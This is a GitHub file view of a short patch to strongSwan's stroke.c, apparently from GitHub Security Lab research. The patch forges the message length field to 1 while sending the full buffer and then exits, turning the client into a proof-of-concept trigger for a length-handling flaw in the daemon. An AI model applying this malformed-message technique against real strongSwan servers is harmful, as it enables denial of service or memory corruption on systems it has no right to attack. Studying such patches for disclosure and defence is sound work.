forked from github/securitylab
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathstroke_patch.txt
More file actions
30 lines (27 loc) · 768 Bytes
/
stroke_patch.txt
File metadata and controls
30 lines (27 loc) · 768 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
diff --git a/src/stroke/stroke.c b/src/stroke/stroke.c
index 6571815e5..7b79c3aaf 100644
--- a/src/stroke/stroke.c
+++ b/src/stroke/stroke.c
@@ -78,6 +78,7 @@ static int send_stroke_msg(stroke_msg_t *msg)
stream_t *stream;
char *uri, buffer[512], *pass;
int count;
+ size_t oldlen;
if (msg->length == UINT16_MAX)
{
@@ -98,13 +99,16 @@ static int send_stroke_msg(stroke_msg_t *msg)
return -1;
}
- if (!stream->write_all(stream, msg, msg->length))
+ oldlen = msg->length;
+ msg->length = 1;
+ if (!stream->write_all(stream, msg, oldlen))
{
fprintf(stderr, "sending stroke message failed\n");
stream->destroy(stream);
free(msg);
return -1;
}
+ exit(0);
while ((count = stream->read(stream, buffer, sizeof(buffer)-1, TRUE)) > 0)
{